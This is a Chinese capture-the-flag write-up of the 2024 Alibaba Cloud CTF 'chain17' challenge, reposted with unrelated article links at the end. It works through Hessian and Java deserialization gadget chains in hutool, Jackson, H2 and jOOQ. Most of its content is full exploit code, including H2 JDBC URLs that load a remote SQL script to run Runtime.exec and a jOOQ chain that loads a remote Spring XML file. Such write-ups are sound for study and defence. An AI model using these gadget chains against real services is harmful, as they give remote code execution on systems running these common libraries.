2024阿里云ctf-web-chain17学习

agent

jdk17依赖有h2思路清晰打jdbc attack

<dependency>  
    <groupId>org.springframework.boot</groupId>  
    <artifactId>spring-boot-starter-web</artifactId>  
</dependency>  

<!-- https://mvnrepository.com/artifact/com.alibaba/hessian-lite -->  
<dependency>  
    <groupId>com.alibaba</groupId>  
    <artifactId>hessian-lite</artifactId>  
    <version>3.2.13</version>  
</dependency>  

<dependency>  
    <groupId>cn.hutool</groupId>  
    <artifactId>hutool-all</artifactId>  
    <version>5.8.16</version>  
</dependency>  

<!-- https://mvnrepository.com/artifact/com.h2database/h2 -->  
<dependency>  
    <groupId>com.h2database</groupId>  
    <artifactId>h2</artifactId>  
    <version>2.2.224</version>  
</dependency>

项目
Deserial_Sink_With_JDBC
jdbc-attack
fork了一个师傅的github
发现没有
su18

H2 RCE
Spring Boot H2 console,by changing the connection url of h2 database,we can make spring boot run script from the remote.
jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8000/poc.sql'
And then prepare a statemate something like below to declare and call the Runtime.getRuntime().exec():
CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "su18";}';CALL EXEC ('open -a Calculator.app')

看到了h2 rce

String connectionUrl = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8001/poc.sql'";  
// getConnection 触发漏洞  
Connection connection = DriverManager.getConnection(connectionUrl);  
connection.close();

安装h2数据库
h2数据库
python -m http.server 8001

CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "su18";}';CALL EXEC ('calc')

可以拿到calc
使用codeql查询sink

使用尝试

还有一个把cn.h2%修改为cn.hutool%,找到

String connectionUrl = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8001/poc.sql'";
        Setting setting = new Setting();
        setting.setCharset(null);
        setting.set("url",connectionUrl);
        Unsafe unsafe = UnSafeTools.getUnsafe();
        PooledDSFactory pooledDSFactory = (PooledDSFactory) unsafe.allocateInstance(PooledDSFactory.class);
        UnSafeTools.setObject(pooledDSFactory,pooledDSFactory.getClass().getSuperclass().getDeclaredField("setting"),setting);
        UnSafeTools.setObject(pooledDSFactory,pooledDSFactory.getClass().getSuperclass().getDeclaredField("dsMap"),new SafeConcurrentHashMap<>());

这样就查找能触发到toString的类来触发jackson的getter去调用getConnection
由于是hessian反序列化会触发map的put方法,
我们寻找一条到pojonode#toString的链子, 但是Hessian 的反序列化受module的影响,但是原生的反序列化并不受module 的影响,所以hessian后面就要用到Bean的原生反序列化了
发现codeql显示能调用到但是

 有限制,我们查找不继承这些接口的toString能触发pojonode#toString的方法,而且必须是jdk原生类
不然这个就满足了MutableObj
String#valueof和Object都满足
这样即可找到

确实可以触发
所以就是hessian2#readObject->AtomicReference#toString->String#valueof->POJONode#toString->h2的jdbc attack
使用codeql查找

hessian反序列化漏洞,是map反序列化,当他的_type不是null,且不是map和sortedMap时候,调用构造函数实例化

这时候生成了一个JSONObject变量,但是值为空

可以看到map将值put进去了两次反序列化
所以我们可以理解为,第一段Hessian2先创建一个JSONObject,
然后将两次反序列化的值作为key和value值
如何指定hessian2创建JSONObject呢

hessian2反序列化的序列化函数可以传入指定类型进去,并且设置this.buffer[this.offset++]是77这样反序列化的时候就会获取_type值为77
但是writeType有条件限制

private void writeType(String type) throws IOException {  
    this.flushIfFull();  
    int len = type.length();  
    if (len == 0) {  
        throw new IllegalArgumentException("empty type is not allowed");  
    } else {  
        if (this._typeRefs == null) {  
            this._typeRefs = new HashMap();  
        }  

        Integer typeRefV = (Integer)this._typeRefs.get(type);  
        if (typeRefV != null) {  
            int typeRef = typeRefV;  
            this.writeInt(typeRef);  
        } else {  
            this._typeRefs.put(type, this._typeRefs.size());  
            this.writeString(type);  
        }  

    }  
}

在HashMap里面push了一个type进去

这时候反序列化

调用了this.read()

public final int read() throws IOException {  
    return this._length <= this._offset && !this.readBuffer() ? -1 : this._buffer[this._offset++] & 255;  
}  

private final boolean readBuffer() throws IOException {  
    byte[] buffer = this._buffer;  
    int offset = this._offset;  
    int length = this._length;  
    if (offset < length) {  
        System.arraycopy(buffer, offset, buffer, 0, length - offset);  
        offset = length - offset;  
    } else {  
        offset = 0;  
    }  

    int len = this._is.read(buffer, offset, 256 - offset);  
    if (len <= 0) {  
        this._length = offset;  
        this._offset = 0;  
        return offset > 0;  
    } else {  
        this._length = offset + len;  
        this._offset = 0;  
        return true;  
    }  
}

读取缓冲区的值当this.readBuffer返回值为true的时候调用
this._buffer[this._offset++] & 255;
所以_offset这时候就为1

因为上面的writeBeginMap将tag设置为了77
通过readType读取

由于_offset为1,所以值是25
将offset-1,这时候offset读取就从2变成了1

 

 在进入读取

这时候tag值就为25,_offset值就为2

设置_sbuf的长度为0,设置_chunkLength长度为25,也就是cn.hutool.json.JSONObject的长度
所以后面就是从buf的25长度后面读25个字节,也就是把Type读出来cn.hutool.json.JSONObject
这时候我们知道如何指定type了,继续跟着往后面走

case 77:  
    type = this.readType();  
    return this.findSerializerFactory().readMap(this, type);
public Object readMap(AbstractHessianInput in, String type, Class<?> expectKeyType, Class<?> expectValueType) throws HessianProtocolException, IOException {  
    Deserializer deserializer = this.getDeserializer(type);  
    if (deserializer != null) {  
        return deserializer.readMap(in);  
    } else if (this._hashMapDeserializer != null) {  
        return this._hashMapDeserializer.readMap(in, expectKeyType, expectValueType);  
    } else {  
        this._hashMapDeserializer = new MapDeserializer(HashMap.class);  
        return this._hashMapDeserializer.readMap(in, expectKeyType, expectValueType);  
    }  
}

进入了这边, this.getDeserializer(type)获取了类型的反序列化
也就是获取了

当类型

public Object readMap(AbstractHessianInput in, Class<?> expectKeyType, Class<?> expectValueType) throws IOException {  
    Object map;  
    if (this._type == null) {  
        map = new HashMap();  
    } else if (this._type.equals(Map.class)) {  
        map = new HashMap();  
    } else if (this._type.equals(SortedMap.class)) {  
        map = new TreeMap();  
    } else {  
        try {  
            map = (Map)this._ctor.newInstance();  
        } catch (Exception var6) {  
            throw new IOExceptionWrapper(var6);  
        }  
    }  

    in.addRef(map);  
    this.doReadMap(in, (Map)map, expectKeyType, expectValueType);  
    in.readEnd();  
    return map
    }

这样就能newInstance了
在newInstance后调用了

this.doReadMap(in, (Map)map, expectKeyType, expectValueType);

in.isEnd()将buffer读取到了

也就是读完类名的值,也就是8,8也就是我们key的长度,再次反序列化,将offset的值就到
value反序列化开始的地方

获取到我们输入的key
 再次反序列化获取我们的value,就是走正常反序列化了
JSONObject调用put

然后JSONObject调用set

到最后调用到这个

public JSONObject set(String key, Object value, Filter<MutablePair<String, Object>> filter, boolean checkDuplicate) throws JSONException {  
    if (null == key) {  
        return this;  
    } else {  
        if (null != filter) {  
            MutablePair<String, Object> pair = new MutablePair(key, value);  
            if (!filter.accept(pair)) {  
                return this;  
            }  

            key = (String)pair.getKey();  
            value = pair.getValue();  
        }  

        boolean ignoreNullValue = this.config.isIgnoreNullValue();  
        if (ObjectUtil.isNull(value) && ignoreNullValue) {  
            this.remove(key);  
        } else {  
            if (checkDuplicate && this.containsKey(key)) {  
                throw new JSONException("Duplicate key \"{}\"", new Object[]{key});  
            }  

            super.put(key, JSONUtil.wrap(InternalJSONUtil.testValidity(value), this.config));  
        }  

        return this;  
    }  
}

调用了Object的toString也就是,

调用他的get函数
返回值也就是POJONode

String.ValueOf也就调用了value的toString

所以我们的思路就是

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();  
Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream);  

hessian2Output.writeMapBegin(JSONObject.class.getName());  
hessian2Output.writeObject("whatever");

POJONode pojoNode = new POJONode(bean);  

Object object = new AtomicReference<>(pojoNode);
hessian2Output.writeObject(object);  
hessian2Output.writeMapEnd();  
hessian2Output.close();

这样就能触发pojonode
所以payload就是

package com.aliyunctf.agent;
import cn.hutool.core.map.SafeConcurrentHashMap;
import cn.hutool.db.ds.pooled.PooledDSFactory;
import cn.hutool.json.JSONObject;
import cn.hutool.setting.Setting;
import com.alibaba.com.caucho.hessian.io.Hessian2Input;
import com.alibaba.com.caucho.hessian.io.Hessian2Output;
import com.aliyunctf.agent.other.Bean;
import com.fasterxml.jackson.databind.node.POJONode;
import com.n1ght.serial.SerialTools;
import com.n1ght.unsafe.UnSafeTools;
import sun.misc.Unsafe;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.util.Base64;
import java.util.concurrent.atomic.AtomicReference;

public class Main {
    public static void main(String[] args) throws Exception {
//--add-opens java.base/java.math=ALL-UNNAMED --add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.util.concurrent.atomic=ALL-UNNAMED --add-opens java.base/java.security=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED
        String connectionUrl = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8001/poc.sql'";
        Setting setting = new Setting();
        setting.setCharset(null);
        setting.set("url",connectionUrl);
        Unsafe unsafe = UnSafeTools.getUnsafe();
        PooledDSFactory pooledDSFactory = (PooledDSFactory) unsafe.allocateInstance(PooledDSFactory.class);
        UnSafeTools.setObject(pooledDSFactory,pooledDSFactory.getClass().getSuperclass().getDeclaredField("setting"),setting);
        UnSafeTools.setObject(pooledDSFactory,pooledDSFactory.getClass().getSuperclass().getDeclaredField("dsMap"),new SafeConcurrentHashMap<>());
        Bean bean = new Bean();
        UnSafeTools.setObject(bean,Bean.class.getDeclaredField("data"), Base64.getDecoder().decode(SerialTools.base64Serial(pooledDSFactory)));
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream);
        hessian2Output.writeMapBegin(JSONObject.class.getName());
        hessian2Output.writeObject("whatever");
        POJONode pojoNode = new POJONode(bean);
        Object object = new AtomicReference<>(pojoNode);
        hessian2Output.writeObject(object);
        hessian2Output.writeMapEnd();
        hessian2Output.close();

        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
        Hessian2Input hessian2Input = new Hessian2Input((InputStream)byteArrayInputStream);
        hessian2Input.readObject();
    }
}

但是为什么jackson的toString触发getObject后,就能再次触发PooledDSFactory的getter
BeanSerializerBase#serializeFields

在这边看到了BeanPropertyWriter#serializeAsField

Object value = this._accessorMethod == null ? this._field.get(bean) : this._accessorMethod.invoke(bean, (Object[])null);
        if (value == null) {
            if (this._suppressableValue == null || !prov.includeFilterSuppressNulls(this._suppressableValue)) {
                if (this._nullSerializer != null) {
                    gen.writeFieldName(this._name);
                    this._nullSerializer.serialize((Object)null, gen, prov);
                }

            }
        } else {
            JsonSerializer<Object> ser = this._serializer;
            if (ser == null) {
                Class<?> cls = value.getClass();
                PropertySerializerMap m = this._dynamicSerializers;
                ser = m.serializerFor(cls);
                if (ser == null) {
                    ser = this._findAndAddDynamic(m, cls, prov);
                }
            }

            if (this._suppressableValue != null) {
                if (MARKER_FOR_EMPTY == this._suppressableValue) {
                    if (ser.isEmpty(prov, value)) {
                        return;
                    }
                } else if (this._suppressableValue.equals(value)) {
                    return;
                }
            }

            if (value != bean || !this._handleSelfReference(bean, gen, prov, ser)) {
                gen.writeFieldName(this._name);
                if (this._typeSerializer == null) {
                    ser.serialize(value, gen, prov);
                } else {
                    ser.serializeWithType(value, gen, prov, this._typeSerializer);
                }

            }
        }

当获取值后,对value再次进行序列化

Object value = this._accessorMethod == null ? this._field.get(bean) : this._accessorMethod.invoke(bean, (Object[])null);
//这边就是getter后的值


也就是调用getObject后获取的值
然后对他获取的值再次进行序列化也就再次走到了这

也就是调用了PooledDSFactory的getConnection

我们之前上面找的JdbcDataSource有问题,我修改了什么地方让他成功呢

问题就在

有debug问题,fastjson的序列化问题是
Error: java.io.NotSerializableException: org.h2.jdbcx.JdbcDataSourceFactory
这样导致trace设置不了,debugCodeCall会进行判断,导致无法执行connect
所以我们使用

H2DataSource jdbcDataSource = (H2DataSource) unsafe.allocateInstance(H2DataSource.class);

unsafe.allocateInstance实例化这样不会带不可序列化的数据,我们set即可
我重写的类

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.aliyunctf.agent;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.PrintWriter;
import java.io.Serializable;
import java.lang.reflect.Field;
import java.sql.Connection;
import java.sql.SQLException;
import java.util.Properties;
import java.util.logging.Logger;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.naming.StringRefAddr;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.DataSource;
import javax.sql.PooledConnection;
import javax.sql.XAConnection;
import javax.sql.XADataSource;
import org.h2.jdbc.JdbcConnection;
import org.h2.jdbcx.JdbcDataSourceBackwardsCompat;
import org.h2.jdbcx.JdbcDataSourceFactory;
import org.h2.jdbcx.JdbcXAConnection;
import org.h2.message.DbException;
import org.h2.message.Trace;
import org.h2.message.TraceObject;
import org.h2.message.TraceSystem;
import org.h2.util.StringUtils;

public final class H2DataSource extends TraceObject implements XADataSource, DataSource, ConnectionPoolDataSource, Serializable, Referenceable, JdbcDataSourceBackwardsCompat {
    private static final long serialVersionUID = 1288136338451857771L;
    private  JdbcDataSourceFactory factory;
    private transient PrintWriter logWriter;
    private int loginTimeout;
    private String userName = "";
    private char[] passwordChars = new char[0];
    private String url = "";
    private String description;
    private Trace trace;

    public Trace getTrace() {
        return trace;
    }

    public void setTrace(Trace trace) {
        this.trace = trace;
    }

    public H2DataSource(){
        this.initFactory();
        int var1 = getNextId(12);
        this.setTrace(trace, 12, var1);
    }

    private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        this.initFactory();
        var1.defaultReadObject();
    }

    private void initFactory() {
        this.factory = new JdbcDataSourceFactory();
    }

    public int getLoginTimeout() {
        return this.loginTimeout;
    }

    public void setLoginTimeout(int var1) {
        this.loginTimeout = var1;
    }

    public PrintWriter getLogWriter() {
        return this.logWriter;
    }

    public void setLogWriter(PrintWriter var1) {
        this.debugCodeCall("setLogWriter(out)");
        this.logWriter = var1;
    }

    public Connection getConnection() throws SQLException {
        return new JdbcConnection(this.url, (Properties)null, this.userName, StringUtils.cloneCharArray(this.passwordChars), false);
    }

    public Connection getConnection(String var1, String var2) throws SQLException {
        if (this.isDebugEnabled()) {
            this.debugCode("getConnection(" + quote(var1) + ", \"\")");
        }

        return new JdbcConnection(this.url, (Properties)null, var1, var2, false);
    }

    public String getURL() {
        this.debugCodeCall("getURL");
        return this.url;
    }

    public void setURL(String var1) {
        this.url = var1;
    }

    public String getUrl() {
        this.debugCodeCall("getUrl");
        return this.url;
    }

    public void setUrl(String var1) {
        this.debugCodeCall("setUrl", var1);
        this.url = var1;
    }

    public void setPassword(String var1) {
        this.debugCodeCall("setPassword", "");
        this.passwordChars = var1 == null ? null : var1.toCharArray();
    }

    public void setPasswordChars(char[] var1) {
        if (this.isDebugEnabled()) {
            this.debugCode("setPasswordChars(new char[0])");
        }

        this.passwordChars = var1;
    }

    private static String convertToString(char[] var0) {
        return var0 == null ? null : new String(var0);
    }

    public String getPassword() {
        this.debugCodeCall("getPassword");
        return convertToString(this.passwordChars);
    }

    public String getUser() {
        this.debugCodeCall("getUser");
        return this.userName;
    }

    public void setUser(String var1) {
        this.debugCodeCall("setUser", var1);
        this.userName = var1;
    }

    public String getDescription() {
        this.debugCodeCall("getDescription");
        return this.description;
    }

    public void setDescription(String var1) {
        this.debugCodeCall("getDescription", var1);
        this.description = var1;
    }

    public Reference getReference() {
        this.debugCodeCall("getReference");
        String var1 = JdbcDataSourceFactory.class.getName();
        Reference var2 = new Reference(this.getClass().getName(), var1, (String)null);
        var2.add(new StringRefAddr("url", this.url));
        var2.add(new StringRefAddr("user", this.userName));
        var2.add(new StringRefAddr("password", convertToString(this.passwordChars)));
        var2.add(new StringRefAddr("loginTimeout", Integer.toString(this.loginTimeout)));
        var2.add(new StringRefAddr("description", this.description));
        return var2;
    }

    public XAConnection getXAConnection() throws SQLException {
        this.debugCodeCall("getXAConnection");
        return null;
    }

    public XAConnection getXAConnection(String var1, String var2) throws SQLException {
        if (this.isDebugEnabled()) {
            this.debugCode("getXAConnection(" + quote(var1) + ", \"\")");
        }

        return null;
    }

    public PooledConnection getPooledConnection() throws SQLException {
        this.debugCodeCall("getPooledConnection");
        return this.getXAConnection();
    }

    public PooledConnection getPooledConnection(String var1, String var2) throws SQLException {
        if (this.isDebugEnabled()) {
            this.debugCode("getPooledConnection(" + quote(var1) + ", \"\")");
        }

        return this.getXAConnection(var1, var2);
    }

    public <T> T unwrap(Class<T> var1) throws SQLException {
        try {
            if (this.isWrapperFor(var1)) {
                return (T) this;
            } else {
                throw DbException.getInvalidValueException("iface", var1);
            }
        } catch (Exception var3) {
            throw this.logAndConvert(var3);
        }
    }

    public boolean isWrapperFor(Class<?> var1) throws SQLException {
        return var1 != null && var1.isAssignableFrom(this.getClass());
    }

    public Logger getParentLogger() {
        return null;
    }

    public String toString() {
        return this.getTraceObjectName() + ": url=" + this.url + " user=" + this.userName;
    }
}

payload:

String connectionUrl = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8001/poc.sql'";

        Bean bean = new Bean();
//        Setting setting = new Setting();
//        setting.setCharset(null);
//        setting.set("url",connectionUrl);
        Unsafe unsafe = UnSafeTools.getUnsafe();
//        PooledDSFactory pooledDSFactory = (PooledDSFactory) unsafe.allocateInstance(PooledDSFactory.class);
//        UnSafeTools.setObject(pooledDSFactory,pooledDSFactory.getClass().getSuperclass().getDeclaredField("setting"),setting);
//        UnSafeTools.setObject(pooledDSFactory,pooledDSFactory.getClass().getSuperclass().getDeclaredField("dsMap"),new SafeConcurrentHashMap<>());
//        UnSafeTools.setObject(bean,Bean.class.getDeclaredField("data"), Base64.getDecoder().decode(SerialTools.base64Serial(pooledDSFactory)));

        H2DataSource jdbcDataSource = (H2DataSource) unsafe.allocateInstance(H2DataSource.class);

        jdbcDataSource.setURL(connectionUrl);
        jdbcDataSource.setLoginTimeout(5);

        Object o = SourceTools.getterJacksonProxy(jdbcDataSource, DataSource.class);
        UnSafeTools.setObject(bean,Bean.class.getDeclaredField("data"), Base64.getDecoder().decode(SerialTools.base64Serial(o)));

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream);
        hessian2Output.writeMapBegin(JSONObject.class.getName());
        hessian2Output.writeObject("whatever");
        POJONode pojoNode = new POJONode(bean);
        Object object = new AtomicReference<>(pojoNode);
        hessian2Output.writeObject(object);
        hessian2Output.writeMapEnd();
        hessian2Output.close();

        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
        Hessian2Input hessian2Input = new Hessian2Input((InputStream)byteArrayInputStream);
        hessian2Input.readObject();

这样拿取shell就可达到第二条,像第二条发送payload去打通
第二条的trace一直没加载进去,很奇怪,原生类序列化能不能打进去呢

之前继承的SimpleDSFactory也可以

package com.aliyunctf.agent;
import cn.hutool.core.map.SafeConcurrentHashMap;
import cn.hutool.db.ds.c3p0.C3p0DSFactory;
import cn.hutool.db.ds.druid.DruidDSFactory;
import cn.hutool.db.ds.jndi.JndiDSFactory;
import cn.hutool.db.ds.pooled.PooledDSFactory;
import cn.hutool.db.ds.simple.SimpleDSFactory;
import cn.hutool.db.ds.tomcat.TomcatDSFactory;
import cn.hutool.json.JSONObject;
import cn.hutool.setting.Setting;
import com.alibaba.com.caucho.hessian.io.Hessian2Input;
import com.alibaba.com.caucho.hessian.io.Hessian2Output;
import com.aliyunctf.agent.other.Bean;
import com.fasterxml.jackson.databind.node.POJONode;
import com.n1ght.serial.SerialTools;
import com.n1ght.source.SourceTools;
import com.n1ght.unsafe.UnSafeTools;
import org.h2.jdbcx.JdbcDataSource;
import org.h2.jdbcx.JdbcDataSourceFactory;
import org.h2.message.Trace;
import org.h2.message.TraceObject;
import org.h2.message.TraceSystem;
import sun.misc.Unsafe;
import javax.sql.DataSource;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.concurrent.atomic.AtomicReference;

public class Main {
    public static void main(String[] args) throws Exception {
//--add-opens java.base/java.math=ALL-UNNAMED --add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.util.concurrent.atomic=ALL-UNNAMED --add-opens java.base/java.security=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED --add-opens java.desktop/javax.swing.undo=ALL-UNNAMED --add-opens java.desktop/javax.swing.event=ALL-UNNAMED --add-opens java.xml/com.sun.org.apache.xpath.internal.objects=ALL-UNNAMED
        String connectionUrl = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8001/poc.sql'";

        Bean bean = new Bean();
        Setting setting = new Setting();
        setting.setCharset(null);
        setting.set("url",connectionUrl);
        Unsafe unsafe = UnSafeTools.getUnsafe();
        SimpleDSFactory pooledDSFactory = (SimpleDSFactory) unsafe.allocateInstance(SimpleDSFactory.class);
        UnSafeTools.setObject(pooledDSFactory,pooledDSFactory.getClass().getSuperclass().getDeclaredField("setting"),setting);
        UnSafeTools.setObject(pooledDSFactory,pooledDSFactory.getClass().getSuperclass().getDeclaredField("dsMap"),new SafeConcurrentHashMap<>());
        UnSafeTools.setObject(bean,Bean.class.getDeclaredField("data"), Base64.getDecoder().decode(SerialTools.base64Serial(pooledDSFactory)));



        UnSafeTools.setObject(bean,Bean.class.getDeclaredField("data"), Base64.getDecoder().decode(SerialTools.base64Serial(pooledDSFactory)));


        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream);
        hessian2Output.writeMapBegin(JSONObject.class.getName());
        hessian2Output.writeObject("whatever");
        POJONode pojoNode = new POJONode(bean);
        Object object = new AtomicReference<>(pojoNode);
        hessian2Output.writeObject(object);
        hessian2Output.writeMapEnd();
        hessian2Output.close();

        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
        Hessian2Input hessian2Input = new Hessian2Input((InputStream)byteArrayInputStream);
        hessian2Input.readObject();
    }
}

只有开了--add-opens java.base/java.util.concurrent.atomic=ALL-UNNAMED
可以成功

server

使用查找,分了两步

即可
payload

package com.aliyunctf.server;

import com.fasterxml.jackson.databind.node.POJONode;
import com.n1ght.reflect.ReflectTools;
import com.n1ght.serial.SerialTools;
import com.n1ght.unsafe.UnSafeTools;
import org.jooq.DataType;
import org.springframework.context.support.ClassPathXmlApplicationContext;

import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Vector;

public class Main {
    public static void main(String[] args) throws Exception {
        String url = "http://127.0.0.1:1234/poc.xml";

        Class clazz1 = Class.forName("org.jooq.impl.Dual");
        Constructor constructor1 = clazz1.getDeclaredConstructors()[0];
        constructor1.setAccessible(true);
        Object table = constructor1.newInstance();

        Class clazz2 = Class.forName("org.jooq.impl.TableDataType");
        Constructor constructor2 = clazz2.getDeclaredConstructors()[0];
        constructor2.setAccessible(true);
        Object tableDataType = constructor2.newInstance(table);

        Class clazz3 = Class.forName("org.jooq.impl.Val");
        Constructor constructor3 = clazz3.getDeclaredConstructor(Object.class, DataType.class, boolean.class);
        constructor3.setAccessible(true);
        Object val = constructor3.newInstance("whatever", tableDataType, false);

        Class clazz4 = Class.forName("org.jooq.impl.ConvertedVal");
        Constructor constructor4 = clazz4.getDeclaredConstructors()[0];
        constructor4.setAccessible(true);
        Object convertedVal = constructor4.newInstance(val, tableDataType);

        Object value = url;
        Class type = ClassPathXmlApplicationContext.class;

        UnSafeTools.setObject(val,val.getClass().getSuperclass().getDeclaredField("value"),value);
        UnSafeTools.setObject(tableDataType,tableDataType.getClass().getSuperclass().getDeclaredField("uType"),type);



        POJONode pojoNode = new POJONode(convertedVal);

        EventListenerList eventListenerList = new EventListenerList();
        UndoManager undoManager = new UndoManager();
        Vector vector = (Vector) ReflectTools.getFieldValue(undoManager, "edits");
        vector.add(pojoNode);
        ReflectTools.setFieldValue(eventListenerList, "listenerList", new Object[]{InternalError.class, undoManager});

        String s = SerialTools.base64Serial(eventListenerList);
        System.out.println(s);
        SerialTools.base64DeSerial(s);

    }

}

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/593759.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【Spark】Spark分布式环境安装(二)

Spark分布式环境安装 将spark-3.5.0-bin-hadoop3.tgz 文件上传到 Linux 并解压缩&#xff0c;放置在指定位置&#xff0c;路径中不要包含中文或空格&#xff0c;解压缩操作&#xff0c;不再强调。 基于Windows的环境体验 启动脚本 启动界面如图-1所示。 图-1 spark-shell启动…

Vue工程化开发和脚手架Vue CLI

目录 一、介绍 二、使用步骤 1. 全局安装&#xff08;一次&#xff09; 2.查看Vue版本 3.创建项目架子&#xff08;项目名不能使用中文&#xff09; 4.启动项目 一、介绍 Vue CLI是Vue官方提供的一个全局命令工具。可以帮助我们快速创建一个开发的Vue项目的标准化基础架子…

QT:小项目:登录界面 (下一个连接数据库)

一、效果图 登录后&#xff1a; 二、项目工程结构 三、登录界面UI设计 四主界面 四、源码设计 login.h #ifndef LOGIN_H #define LOGIN_H#include <QDialog>namespace Ui { class login; }class login : public QDialog {Q_OBJECTpublic:explicit login(QWidge…

架构每日一学 3:架构师六个生存法则之一:如何找到唯一且正确的架构目标?(二)

本文首发于公众号&#xff1a;腐烂的橘子 上一篇文章中&#xff0c;我们讨论了架构师第一个生存法则&#xff1a;必须有且仅有一个目标。今天我们主要讨论下如何找到这个目标。 确认一个正确目标且要试图逼近它 每一个企业的第一任务首先是活下来&#xff0c;然后再盈利。那么…

unity制作app(3)--gps定位

1.unity中定位Unity之GPS定位&#xff08;高德解析&#xff09;_unity gps定位-CSDN博客 代码需要稍微修改一下&#xff0c;先把脚本绑到一个button上试一试&#xff01; 2.先去高德地图认证&#xff08;app定位&#xff09; 创建应用和 Key-Web服务 API | 高德地图API (ama…

结构体介绍(2)

结构体介绍&#xff08;2&#xff09; 前言一、结构体的内存对齐之深入理解为什么存在内存对齐&#xff1f;修改默认对齐数 二、结构体传参2.1&#xff1a;该怎么传参呢&#xff1f; 三、结构体实现位段3.1什么是位段位段的内存分配位段的跨平台问题 总结 前言 根据之前讲了结…

CMakeLists.txt语法规则:改变行为的变量说明二

一. 简介 前面一篇文章学习了 CMakeLists.txt语法中的 部分常量变量&#xff0c;具体学习提供信息的变量&#xff0c;文章如下&#xff1a; CMakeLists.txt语法规则&#xff1a;提供信息的变量说明一-CSDN博客 CMakeLists.txt语法规则&#xff1a;提供信息的变量说明二-CSD…

【计算机网络原理】万字长文,持续更新...

文章目录&#x1f970; 计算机网络原理1.2 因特网概述1 网络、互联网&#xff08;互连网&#xff09;和因特网2 因特网发展的三个阶段ISP的概念基于ISP的三层结构的因特网 3 因特网的标准化工作4 因特网的组成 1.3 三种交换方式&#xff1a;电路交换、分组交换和报文交换电路交…

ctfshow 框架复现

文章目录 web 466web 467web 468web469web 470web 471web 472web 473web 474web 475web 476 web 466 Laravel5.4版本 &#xff0c;提交数据需要base64编码 代码审计学习—Laravel5.4 - 先知社区 (aliyun.com) 用第二条链子 反序列化格式 /admin/序列化串base64<?php na…

【多模态】29、OCRBench | 为大型多模态模型提供一个 OCR 任务测评基准

文章目录 一、背景二、实验2.1 测评标准和结果2.1.1 文本识别 Text Recognition2.1.2 场景文本中心的视觉问答 Scene Text-Centric VQA2.1.3 文档导向的视觉问答 Document-Oriented VQA2.1.4 关键信息提取 Key Information Extraction2.1.5 手写数学公式识别 Handwritten Mathe…

图片浏览软件-XnView

一、前言 XnView MP / Classic是一款免费的图像查看器&#xff0c;可轻松打开和编辑照片文件。图像查看器支持所有主要的图像格式&#xff08;JPEG&#xff0c;TIFF&#xff0c;PNG&#xff0c;GIF&#xff0c;WEBP&#xff0c;PSD&#xff0c;JPEG2000&#xff0c;OpenEXR&am…

ssm106学生公寓管理系统的设计与实现+jsp

学生公寓管理系统设计与实现 摘 要 现代经济快节奏发展以及不断完善升级的信息化技术&#xff0c;让传统数据信息的管理升级为软件存储&#xff0c;归纳&#xff0c;集中处理数据信息的管理方式。本学生公寓管理系统就是在这样的大环境下诞生&#xff0c;其可以帮助管理者在短…

matlab例题大全

1.第1章 MATLAB系统环境 1.1 注&#xff1a;plot函数为画图函数。例plot&#xff08;x1,y1,:,x2,y2,*&#xff09;; 1.2 注&#xff1a;root为求根函数。p为方程变量前面系数矩阵。 1.3 注&#xff1a; 2*x3y-1*z 2; 8*x2*y3*z 4; 45*x3*y9*z 23 求&#xff1a;x,y,z的…

python数据分析——大数据和云计算

